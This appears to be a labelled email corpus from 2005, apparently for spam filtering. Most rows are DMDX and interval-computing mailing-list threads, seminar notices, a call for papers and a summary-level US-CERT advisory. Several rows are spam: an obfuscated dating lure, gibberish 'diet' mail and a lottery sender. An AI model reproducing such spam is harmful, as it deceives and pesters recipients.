physio amplifiers and verifying its onset relative to the trigger code you are outputting. Hope that helps. J On 10/5/05, Ian Mathis wrote: > > Hi list. > I have a question about the timing of outputs in a frame. > > I am presenting white noise probes of 50 ms duration and sending a > corresponding trigger code to the data acquisition computer using DMDX. > The > measured latencies of the physiological responses we are getting don't > really make sense, and I am trying to figure out what's going on. > > Here is a line that presents the probe and sends the output: > 2 o8 ""6510"" / o96 ""wnprobe""/; > > As far as I can tell, the output of ""96"" is sent at the onset of the wav > ""wnprobe."" Is this correct? > > Our data seems to imply that the output might be coming after the probe is > played, but that doesn't make sense to me. > > Thanks for your help. > > Ian > > > > Kristopher Ian Mathis, M.A. > Graduate Student, Clinical Psychology > Dept. of Psychology, UCLA > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. 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The svp start that Jonathan indicated will synch up the request to play the sound with the output. However, you should also know that in our testing, sound cards varied quite dramatically in how long the delay was between that request and the actual start of the sound (in your case the noise probe). Perhaps more troubling, for some cards, that delay was not only long, but quite variable trial to trial ( e.g., range from 4 - 20 ms for one card), which would really screw up your ability to measure startle latency if you care about it (and your ability to average startle waveforms if you reduce startle that way). You can test this most easily for you card by sending the output of your sound card to an analog channel on your physio amplifiers and verifying its onset relative to the trigger code you are outputting. Hope that helps. J On 10/5/05, Ian Mathis wrote: Hi list. I have a question about the timing of outputs in a frame. I am presenting white noise probes of 50 ms duration and sending a corresponding trigger code to the data acquisition computer using DMDX. The measured latencies of the physiological responses we are getting don't really make sense, and I am trying to figure out what's going on. Here is a line that presents the probe and sends the output: 2 o8 ""6510"" / o96 ""wnprobe""/; As far as I can tell, the output of ""96"" is sent at the onset of the wav ""wnprobe."" Is this correct? Our data seems to imply that the output might be coming after the probe is played, but that doesn't make sense to me. Thanks for your help. Ian Kristopher Ian Mathis, M.A. Graduate Student, Clinical Psychology Dept. of Psychology, UCLA ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 Ian Mathis ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Oct 2005 17:20:03 -0700",[DMDX] Salvaging data,"One last question. Is there any way to determine when the output was sent relative to the sound onset in the data collected without using the keyword? Was the output being sent at the end of the wav file or at some consistent point during the wav file. Ian _____ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Ian Mathis Sent: Thursday, October 06, 2005 3:05 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: output latency Thanks for the help, guys. I've tested the latency of the sound card before, and it has been fairly small and stable. I will check it again today to make sure. I've altered the script to include the keyword: 1 o1 ""1050"" / ""wnprobe"" o96 /; As I understand the documentation, this current configuration would mean that ""wnprobe"" will start playing when 96 is output, as is desired. Is this a correct reading? Ian _____ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of John Curtin Sent: Thursday, October 06, 2005 6:35 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: output latency Ian, I am assuming that you are measuring startle. The svp start that Jonathan indicated will synch up the request to play the sound with the output. However, you should also know that in our testing, sound cards varied quite dramatically in how long the delay was between that request and the actual start of the sound (in your case the noise probe). Perhaps more troubling, for some cards, that delay was not only long, but quite variable trial to trial ( e.g., range from 4 - 20 ms for one card), which would really screw up your ability to measure startle latency if you care about it (and your ability to average startle waveforms if you reduce startle that way). You can test this most easily for you card by sending the output of your sound card to an analog channel on your physio amplifiers and verifying its onset relative to the trigger code you are outputting. Hope that helps. J On 10/5/05, Ian Mathis wrote: Hi list. I have a question about the timing of outputs in a frame. I am presenting white noise probes of 50 ms duration and sending a corresponding trigger code to the data acquisition computer using DMDX. The measured latencies of the physiological responses we are getting don't really make sense, and I am trying to figure out what's going on. Here is a line that presents the probe and sends the output: 2 o8 ""6510"" / o96 ""wnprobe""/; As far as I can tell, the output of ""96"" is sent at the onset of the wav ""wnprobe."" Is this correct? Our data seems to imply that the output might be coming after the probe is played, but that doesn't make sense to me. Thanks for your help. Ian Kristopher Ian Mathis, M.A. Graduate Student, Clinical Psychology Dept. of Psychology, UCLA ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 06 Oct 2005 17:48:33 -0700",[DMDX] RE: Re: output latency,"At 03:05 PM 10/6/2005 -0700, you wrote: >Thanks for the help, guys. I ve tested the latency of the sound card >before, and it has been fairly small and stable. I will check it again >today to make sure. > >I ve altered the script to include the keyword: > >1 o1 ""1050"" / ""wnprobe"" start> o96 /; > >As I understand the documentation, this current configuration would mean >that wnprobe will start playing when 96 is output, as is desired. Is this >a correct reading? Yep. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HP had a unique policy of allowing its engineers to take parts from stock as long as they built something. ""They figured that with every design, they were getting a better engineer. It's a policy I urge all companies to adopt."" - Apple co-founder Steve Wozniak, ""Will Wozniak's class give Apple to teacher?"" EE Times, June 6, 1988, pg 45",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 06 Oct 2005 17:49:47 -0700",[DMDX] Re: Salvaging data,"At 05:20 PM 10/6/2005 -0700, you wrote: >One last question. Is there any way to determine when the output was sent >relative to the sound onset in the data collected without using the start> keyword? Was the output being sent at the end of the wav file or >at some consistent point during the wav file. It was sent as the wave file ended. Exactly. Well, as exactly as your sound card and PIO allow... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HP had a unique policy of allowing its engineers to take parts from stock as long as they built something. ""They figured that with every design, they were getting a better engineer. It's a policy I urge all companies to adopt."" - Apple co-founder Steve Wozniak, ""Will Wozniak's class give Apple to teacher?"" EE Times, June 6, 1988, pg 45",0,0 Ian Mathis ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Oct 2005 18:48:20 -0700",[DMDX] RE: Re: Salvaging data,"Thanks for all the help! Ian -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Thursday, October 06, 2005 5:50 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Salvaging data At 05:20 PM 10/6/2005 -0700, you wrote: >One last question. Is there any way to determine when the output was sent >relative to the sound onset in the data collected without using the start> keyword? Was the output being sent at the end of the wav file or >at some consistent point during the wav file. It was sent as the wave file ended. Exactly. Well, as exactly as your sound card and PIO allow... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HP had a unique policy of allowing its engineers to take parts from stock as long as they built something. ""They figured that with every design, they were getting a better engineer. It's a policy I urge all companies to adopt."" - Apple co-founder Steve Wozniak, ""Will Wozniak's class give Apple to teacher?"" EE Times, June 6, 1988, pg 45 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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One would think this basic issue of computer performance > analysis > would have been long resolved, but contradictions are still present in > some > excellent and widely-used textbooks. > > This talk offers a framework that resolves these issues and includes > both > workload analyses and relative performance analyses (such as SPEC or > Livermore > Loops), emphasizing differences between algebraic and statistical > approaches. > In some cases, the lognormal distribution is found to be quite useful, > especially with appropriate forms of standard deviation and confidence > interval > used to augment the usual Geometric Mean. Results can be used to > indicate the > relative importance of careful workload analysis. > > BIOGRAPHY: > > Dr. John R. Mashey is a consultant for venture capitalists and > technology > companies, but has been involved off-and-on in computer performance > analysis > for 35 years. He is ""an ancient UNIX person,"" having started work on > it at > Bell Labs in 1973, and continuing to work there for 10 years, > including design > of the UNIX per-process accounting software. He moved to Silicon > Valley in > 1983 to join Convergent Technologies, ending as director of software. > Mashey > joined MIPS Computer Systems in early 1985, managing operating systems > development, and helping design the MIPS RISC architecture, as well as > specific > CPUs, systems and software. He continued similar work at SGI (1992 - > 2000) most > recently contributing to the design of SGI's NUMAflex modular computer > architecture, ending as VP and Chief Scientist. > > Mashey was one of the founders of the SPEC benchmarking group, was an > ACM > National Lecturer for four years, has been guest editor for IEEE > Micro, and > one of the long-time organizers of the Hot Chips conferences. > Additionally, he > has chaired technical conferences on operating systems and CPU chips, > and has > given more than 500 public talks on software engineering, RISC design, > performance benchmarking and supercomputing. He is a Trustee of the > Computer > History Museum. > > He holds a Ph.D. in Computer Science from Pennsylvania State > University. > > ----------------------------------------------------------------------- > --- > > The Computer Architecture Seminar Series is sponsored jointly by the > Departments of Computer Science and Electrical & Computer Engineering > and is > supported by a grant from AMD. > > ----------------------------------------------------------------------- > ------ > > Scalable Yahoo Map of 24th & Speedway: > http://maps.yahoo.com/py/maps.py? > Pyt=Tmap&addr=2400+Speedway&csz=Austin%2C+T > X&Get+Map=Get+Map > > Parking for off-campus visitors: We suggest that you park in the San > Jacinto > parking garage (formerly PG1) at 24th & San Jacinto. Parking > validation will > be available. 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",0,0 """R. Baker Kearfott"" ","""Kreinovich, Vladik"" , reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Fri, 07 Oct 2005 21:38:56 +0100",Re: Interval website down,"Vladik, To avoid confusion, I'd like to say that interval.louisiana.edu appears to be operating normally. Baker P.S. I am presently in London. At 11:45 AM 10/7/2005 -0600, Kreinovich, Vladik wrote: >Our server has crashed, the interval website is down, the system >administrator is trying to restore the service. > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. 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However, I intend to periodically show each subject how much they have earned so far, which may be different for each subject because I will be scrambling the file. If anyone has done something like this in the past, or can point me to an appropriate keyword/variable to use, I'd greatly appreciate your help and advice! Thanks, Nicole ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 09 Oct 2005 12:11:45 -0700",[DMDX] Re: DMDX question,"At 12:08 PM 10/9/2005 -0400, you wrote: >Hi all, > >I have a DMDX script of a gambling task in which I'd like to keep track of >how much money the subject is winning and losing on a trial by trial >basis. The money will be going up and down by only a few cents at a time, >so I need an idea that can handle decimals (which seems to leave out the >Counter var, as far as I can tell). There isn't anything else you'll be using so the counters are it. Either use a counter that keeps track of cents and has some cunning display or use whole dollars. >Some other possible relevent information is that the trials are hardwired >to be wins or losses, so I know upfront on each trial whether the earnings >will be incremented or decremented. However, I intend to periodically >show each subject how much they have earned so far, which may be different >for each subject because I will be scrambling the file. >If anyone has done something like this in the past, or can point me to an >appropriate keyword/variable to use, I'd greatly appreciate your help and >advice! I've built the gambling task at least once for someone in the Psychology department, can't remember who though. It was with whole dollars. The trick with displaying counters is that they are just appended to the frame's current text, displaying two values is going to need . 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DENSIE DE HOLIDRIJK For: Micro Lottery Int'l ",1,0 ���߷� ,reliable_computing@interval.louisiana.edu,"Tue, 11 Oct 2005 17:06:51 +0800",How can I evaluate interval initial value problem solver?,"for example y\\'=f(y,t) the initial condition is y0=[a,b] ,t=0 to tend is the width of interval y(tend) an index to evaluate the solver?? ",0,0 Steve Keckler ,"Cartel Group , cs382m@lists.cc.utexas.edu","Tue, 11 Oct 2005 09:18:32 -0500","[CS382M:20] Fwd: Architecture: David Shaw/D. E. Shaw Research and Development, LLC, ""Algorithms and Architectures for Millisecond-Scale Molecular Dynamics Simulations of Proteins"", 10/11/05 at 3pm in WEL 1.316","FYI....... Begin forwarded message: > From: Mayda Cruz > Date: October 11, 2005 9:08:37 AM CDT > To: CS-Announcements:; > Subject: Architecture: David Shaw/D. E. Shaw Research and Development, > LLC, ""Algorithms and Architectures for Millisecond-Scale Molecular > Dynamics Simulations of Proteins"", 10/11/05 at 3pm in WEL 1.316 > Reply-To: mrc@cs.utexas.edu > > Speaker Names/Affiliation: David Shaw/D. E. Shaw Research and > Development, LLC > > When/Location: October 11, 2005 at 3:00 p.m.-4:00 p.m. in WEL 1.316 > Coffee: 2:30 p.m. > > Host: Derek Chiou > > Talk Title: ""Algorithms and Architectures for Millisecond-Scale > Molecular Dynamics Simulations of Proteins"" > > Talk Abstract: > Some of the most important outstanding questions in the > fields of biology, chemistry, and medicine remain unsolved > as a result of our limited understanding of the structure, > behavior and interaction of biologically significant molecules. > The underlying laws of physics that determine the form > and function of these biomolecules are relatively well understood. > Current technology, however, does not allow us to simulate > the effect of these laws with sufficient accuracy, and for > a sufficient period of time, to answer many of the questions > that biologists, biochemists, and biomedical researchers > are most anxious to answer. This talk will summarize the > current state of the art in biomolecular modeling based > on all-atom molecular dynamics simulations in explicitly > modeled solvent, and will describe efforts within our own > lab to develop novel algorithms and machine architectures > to accelerate such simulations by several orders of magnitude. > To the extent these efforts prove successful, we hope to > make it possible for the first time for researchers to perform > millisecond-scale simulations of such phenomena as the process > of protein folding, the binding of proteins to pharmaceutical > compounds and endogenous ligands, the interaction of proteins > with other proteins and with nucleic acids, the mechanisms > of allosteric activation and inhibition, and perhaps the > operation of certain simple intracellular machines. > > Speaker Bio: > David Shaw serves as chief scientist of D. E. Shaw Research > and as a senior research fellow at the Center for Computational > Biology and Bioinformatics at Columbia University. He currently > leads an interdisciplinary research lab consisting of 35 > computational chemists and biologists, computer scientists > and applied mathematicians, and computer architects and > engineers whose principal focus is the development of novel > physical models, computational algorithms and machine architectures > for biomolecular simulation, protein structure determination, > and computational drug design. After receiving his Ph.D. > from Stanford University in 1980, Dr. Shaw joined the faculty > of the Computer Science Department at Columbia University. > In 1988, he founded the D. E. Shaw group of companies, > an $18 billion investment and technology development firm, > and led the firm until 2002, when he returned to hands-on > scientific research. In 1994, Dr. Shaw was appointed by > President Clinton to the President’s Committee of Advisors > on Science and Technology. He currently serves on the board > of directors of the American Association for the Advancement > of Science, and is a member of the external advisory group > of the Sloan-Kettering Institute. > > Mayda R. Cruz > Office of External Affairs > UT Department of Computer Sciences > mrc@cs.utexas.edu > 512.471.9797 Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler",0,1 Leticia ,gel-software@svm.vetmed.wisc.edu,"Tue, 11 Oct 2005 05:44:38 -0500",Hottest Diet in America,"see hoboken not pullback may blurry it anyway it combinate ",1,0 Gabriel Lopez ,rachelle@smtp.uoregon.edu,"Tue, 11 Oct 2005 10:14:54 -0400",hello again,"Find local gir1s eager to meeet you now! 100000 of active pr0-filez ""Are you ill, dear Aslan?"" asked Susan.",1,1 """Kreinovich, Vladik"" ","interval@listserv.utep.edu, reliable_computing@interval.louisiana.edu","Tue, 11 Oct 2005 14:31:44 -0600",FW: IEEE International Conference on Granular Computing,"Forearding, The organizers are always enthusatiastic about interval-related methods because they rightly view intervals as part of granules. Vladik -----Original Message----- From: Kaj-Mikael Björk ------------------------------------------- Call for Papers 2006 IEEE International Conference on Granular Computing http://www.cs.sjsu.edu/~grc/ GSU, Atlanta, USA, May 10-12, 2006 Sponsored by The IEEE Computational Intelligence Society. Granular Computing (GrC) is a general computation theory for effectively using granules such as classes, clusters, subsets, groups and intervals to build an efficient computational model for complex applications with huge amounts of data, information and knowledge. Though the label is relatively recent, the basic notions and principles of granular computing, though under different names, have appeared in many related fields, such as information hiding in programming, granularity in artificial intelligence, divide and conquer in theoretical computer science, interval computing, cluster analysis, fuzzy and rough set theories, neutrosophic computing, quotient space theory, belief functions, machine learning, databases, and many others. In the past few years, we have witnessed a renewed and fast growing interest in GrC. Granular computing has begun to play important roles in bioinformatics, e-Business, security, machine learning, data mining, high-performance computing and wireless mobile computing in terms of efficiency, effectiveness, robustness and uncertainty. 2006 IEEE International Conference on Granular Computing (IEEE-GrC2006, http://www.cs.sjsu.edu/~grc) to be held at Georgia State University in Atlanta, following the great success of IEEE-GrC2005 (Beijing, July 25-27, 2005), will continue to bring together researchers from universities, laboratories and industry to present state-of-the-art research results and methodologies in theory and applications of granular computing: - theory and methodologies of granular computing, including rough sets as a special form for granulation; - applications in data mining, soft computing, bioinformatics, e-Intelligence, security, distributed computing, etc. Major research tracks include: - Computational Intelligence (Neural Networks, Fuzzy Systems, Evolutionary Computation, Rough Sets, etc.) - Foundation of Data Mining and Learning (Probabilistic/Statistical Learning, Machine Learning, Kernel Machines, etc .) Relevant application tracks include, but are not limited to: - Bioinformatics, medical informatics and chemical informatics - E-Intelligence, Web informatics, Web intelligence, Web mining and Semantic Web - High-performance computing, grid computing, wireless mobile computing and sensor networks - Security Important Dates: Submission Deadline: Dec. 15, 2005 (extended from Nov. 20, 2005) Acceptance Notification: Jan. 15, 2006 Camera-Ready: Jan. 30, 2006 Conference: May 10-12, 2006 Submission Requirements: Please submit a full-length paper in PDF (the maximum number of pages is 6) with the standard two-column IEEE Transactions format (IEEE transaction LaTeX and Microsoft Word Style Files can be found at here). General Co-Chairs: T.Y. Lin, San Jose State University, USA Nick Cercone, Dalhousie University, Canada Yi Pan, Georgia State University, USA Honorary Chairs: Setsuo Ohsuga, University of Tokyo, Japan Zdzislaw Pawlak, Polish Academy of Sciences, Poland Stephen Smale, UC Berkeley, Toyota Technological Institute at Chicago, USA Lotfi A. Zadeh, UC Berkeley, USA Program Committee Co-Chairs: Yan-Qing Zhang, Georgia State University, USA Witold Pedrycz, University of Alberta, Canada Ming-Chien Shan, Hewlett Packard, USA Program Committee Vice-Chairs: Gary B. Fogel, Natural Selection, Inc., USA Einoshin Suzuki, Yokohama National University, Japan Thomas Whalen, Georgia State University, USA Yiyu Yao, University of Regina, Canada Gary Yen, Oklahoma State University, USA Mohammed Zaki, Rensselaer Polytechnic Institute, USA Ning Zhong, Maebashi Institute of Technology, Japan ---------------------------------------------------------------- Thank you very much! Best Regards, Yan-Qing Zhang on behalf of General Co-Chairs: T.Y. Lin, San Jose State University, USA Nick Cercone, University of Waterloo, Canada Yi Pan, Georgia State University, USA Program Committee Co-Chairs: Yan-Qing Zhang, Georgia State University, USA Witold Pedrycz, University of Alberta, Canada Ming-Chien Shan, Hewlett Packard, USA ------------------------------------------------ Dr. Yanqing Zhang, Associate Professor --------------------------------------- Dept. of Computer Science Georgia State University P.O. Box 3994 Atlanta, GA 30302-3994 U.S.A. E-mail: yzhang@cs.gsu.edu Tel: 404 651 0682 Fax: 404 463 9912 Homepage: http://www.cs.gsu.edu/~cscyqz ---------------------------------------- -------------------------------------------------------------------- If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe bisc-group or from another account, unsubscribe bisc-group",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 11 Oct 2005 18:56:56 -0400","US-CERT Technical Cyber Security Alert TA05-284A -- Microsoft Windows, Internet Explorer, and Exchange Server Vulnerabilities ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA05-284A Microsoft Windows, Internet Explorer, and Exchange Server Vulnerabilities Original release date: October 11, 2005 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Internet Explorer * Microsoft Exchange Server For more complete information, refer to the Microsoft Security Bulletin Summary for October 2005. Overview Microsoft has released updates that address critical vulnerabilities in Windows, Internet Explorer, and Exchange Server. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on an affected system. I. Description Microsoft Security Bulletins for October 2005 address vulnerabilities in Windows and Internet Explorer. Further information is available in the following US-CERT Vulnerability Notes: VU#214572 - Microsoft Plug and Play fails to properly validate user supplied data Microsoft Plug and Play contains a flaw in the handling of message buffers that may result in local or remote arbitrary code execution or denial-of-service conditions. (CAN-2005-2120) VU#883460 - Microsoft Collaboration Data Objects buffer overflow A buffer overflow in Microsoft Collaboration Data Objects may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. (CAN-2005-1987) VU#922708 - Microsoft Windows Shell fails to handle shortcut files properly Microsoft Windows Shell does not properly handle some shortcut files and may permit arbitrary code execution when a specially-crafted file is opened. (CAN-2005-2122) VU#995220 - Microsoft DirectShow buffer overflow A buffer overflow in Microsoft DirectShow may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. (CAN-2005-2128) VU#180868 - Microsoft Distributed Transaction Coordinator vulnerable to buffer overflow via specially crafted network message Microsoft Distributed Transaction Coordinator (MSDTC) may be vulnerable to a flaw that allows remote, unauthenticated attackers to execute arbitrary code. (CAN-2005-2119) VU#950516 - Microsoft COM+ contains a memory management flaw Microsoft COM+ contains a vulnerability due to a memory management flaw that may allow an attacker to take complete control of an affected system. (CAN-2005-1978) VU#959049 - Several COM objects cause memory corruption in Microsoft Internet Explorer Microsoft Internet Explorer will initialize COM objects that were not intended to be used in the web browser. Several COM objects have been identified that may allow an attacker to execute arbitrary code or crash Internet Explorer. (CAN-2005-2127) VU#680526 - Microsoft Internet Explorer allows non-ActiveX COM objects to be instantiated Microsoft Internet Explorer will initialize COM objects that were not intended to be used in the web browser. This may allow an attacker to execute arbitrary code or crash Internet Explorer. (CAN-2005-0163) II. Impact Exploitation of these vulnerabilities may allow a remote, unauthenticated attacker to execute arbitrary code with SYSTEM privileges or with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided the updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site. Workarounds Please see the following US-CERT Vulnerability Notes for workarounds. Appendix A. References * Microsoft Security Bulletin Summary for October 2005 - * US-CERT Vulnerability Note VU#214572 - * US-CERT Vulnerability Note VU#883460 - * US-CERT Vulnerability Note VU#922708 - * US-CERT Vulnerability Note VU#995220 - * US-CERT Vulnerability Note VU#180868 - * US-CERT Vulnerability Note VU#950516 - * US-CERT Vulnerability Note VU#959049 - * US-CERT Vulnerability Note VU#680526 - * CAN-2005-2120 - * CAN-2005-1987 - * CAN-2005-2122 - * CAN-2005-2128 - * CAN-2005-2119 - * CAN-2005-1978 - * CAN-2005-2127 - * CAN-2005-0163 - * Microsoft Update - _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Feedback can be directed to US-CERT. Please send email to: with ""TA05-284A Feedback VU#959049"" in the subject. _________________________________________________________________ Revision History Oct 11, 2004: Initial release _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use _________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ0xBVn0pj593lg50AQJvOQf/QqIy3putm/wkUAUguQaylsCfC38Lysdc bqbtj7oF6HEoCzhQguaqQdMGOqa4QJnrObnkHN29xFhYovKWOIYkYsh6c3IXaNLK PdImVbcMFNn9VsBNNRVr2dqPXJPvgFFzQKsDcKkknnZyxLf5mshwDJoKFsKDGr9c 1P9yxwyagQ8G73gTq6hPV/Wl/6zElXH/chlh6haXe6XN9ArTmz8A3OCAN+BZQUqe /9T4US8oxLeLlNDcQc/PV5v3VuXXW0v9kjEjqAVEH5tRKH/oIkVdgpj7gdrAzDjM MUojHfl1v2/JwWubQ9DFQsBx4Jxv5YvJEREsU7RbVJotn02+Yaaeog== =5hXu -----END PGP SIGNATURE-----",0,1 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Oct 2005 17:29:22 -0700",[DMDX] How to use a Pio 12 card to send outputs and to receive inputs?,"Dear J.C. Forster I´ ve a PCI-DIO24 installed on a computer (Windows XP) running DMDX. I wonder how to make a program in DMDX: A- Questions about output signals 1) Is it necessary a keyword definition to be written in the parameter line for outputs ? Is Keyword the correct form? 2) I read that I may use the keyword to Output to PIO12 port. This must be written in the ""Experimental items"" each time that an output signal is sent? 3) Which number indicates ""N"" in the keyword? B- Questions about input signals 1) Again, I suppose that it is necessary a keyword definition to be written in the parameter line. It is not thus? Is Keyword the correct form? 2) I need to use a two-button response box that is connected to the Pio card. I think it mappes the responses to Bit1 and Bit2, but when I did the PIO Test in TimeDX, Bit8 and Bit9 changed from high to low. Can I use the inputs in that manner? Thank´s you in advance --------------------------------- Yahoo! Music Unlimited - Access over 1 million songs. Try it free.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Oct 2005 18:15:47 -0700",[DMDX] Re: How to use a Pio 12 card to send outputs and to receive inputs?,"At 05:29 PM 10/11/2005 -0700, you wrote: >Dear J.C. Forster > >I´ ve a PCI-DIO24 installed on a computer (Windows XP) running DMDX. > >I wonder how to make a program in DMDX: > >A- Questions about output signals > >1) Is it necessary a keyword definition to be written in the parameter >line for outputs ? Is Keyword the correct form? Yes. >2) I read that I may use the keyword to Output to PIO12 port. >This must be written in the ""Experimental items"" each time that an output >signal is sent? Yes. >3) Which number indicates ""N"" in the keyword? Read the help, it's available from the help button in DMDX's main dialog or online: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhoutputkeyword.htm > > >B- Questions about input signals > >1) Again, I suppose that it is necessary a keyword definition to be >written in the parameter line. It is not thus? Is Keyword the >correct form? Once for both output and input is sufficient. >2) I need to use a two-button response box that is connected to the Pio card. > >I think it mappes the responses to Bit1 and Bit2, but when I did the PIO >Test in TimeDX, Bit8 and Bit9 changed from high to low. Can I use the >inputs in that manner? Yes, you'll want to unmap the current input mappings with and map new ones with and . For instance . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,1 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Wed, 12 Oct 2005 00:00:29 -0400",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 10/14/2005 12:00:00 PM to submit or make changes to your guest list for the game against UCLA. To make changes, please go to http://www.playerguest.com. ",0,1 George Corliss ,"gfdong@sjtu.edu.cn, reliable_computing@interval.louisiana.edu","Tue, 11 Oct 2005 21:12:48 -0500",Re: How can I evaluate interval initial value problem solver?,"> for example > y\\'=f(y,t) the initial condition is y0=[a,b] ,t=0 to tend > > is the width of interval y(tend) an index to evaluate the solver?? I'm not sure exactly what you are asking. Are you asking about how to compare the quality of two interval solvers? If so, comparing the width of the interval y(tend) is one measure. A more comprehensive measure would be some norm of width of the interval y(t) for t in [0, tend]. You could also compare the widths of the defects y'(t) - f(t,y). If you do any of those, you should be careful of concluding too much. You will only have compared the tightness performance of the two methods on that problem. The tightness performance on another problem might be quite different. If what you want is an evaluation of the quality of a single interval solver, you probably want some measure of the EXCESS width, although authorities differ on the most appropriate way to express excess width, especially in dimensions greater than one. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu ",0,0 ���߷� ,"George Corliss , reliable_computing@interval.louisiana.edu","Wed, 12 Oct 2005 10:58:42 +0800",Re: Re: How can I evaluate interval initial value problem solver?,"firstly, thank you for your consideration! as a newcomer, I have so many problems. 1) to a single interval solver, how to compute the EXCESS width?? y\\'(t)=f(y,t) the initial condition is y0=[a,b] ,for t in [0,tend] the following is my view, choose enough points in y0=[a,b] randomly as initial value ,then from a point NOT interval solver,we can get y(tend) according to the initial value in y0. if the number of points is large enough,we can get an interval to contain all the y(tend) with the minimum width. then we can view this interval as the exact solution interval and from this and the [y(tend)] from interval solver,we can get the EXCESS width is it right? 2)I still can not understand of Taylor Series Method well. I have read ""Validated solutions of initial value problems for ordinary differential equations"" ,a very helpful paper to me. Alough with it, I still cannot program this method rightly in Matlab. I wanna ask: which c/c++ interval solver package can be use under Windows? ----- Original Message ----- From: George Corliss To: , Cc: Subject: Re: How can I evaluate interval initial value problem solver? > for example > y\\\\\\'=f(y,t) the initial condition is y0=[a,b] ,t=0 to tend > > is the width of interval y(tend) an index to evaluate the solver?? I\\'m not sure exactly what you are asking. Are you asking about how to compare the quality of two interval solvers? If so, comparing the width of the interval y(tend) is one measure. A more comprehensive measure would be some norm of width of the interval y(t) for t in [0, tend]. You could also compare the widths of the defects y\\'(t) - f(t,y). If you do any of those, you should be careful of concluding too much. You will only have compared the tightness performance of the two methods on that problem. The tightness performance on another problem might be quite different. If what you want is an evaluation of the quality of a single interval solver, you probably want some measure of the EXCESS width, although authorities differ on the most appropriate way to express excess width, especially in dimensions greater than one. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu",0,0 James ,rich@pencil.math.missouri.edu,"Wed, 12 Oct 2005 03:23:51 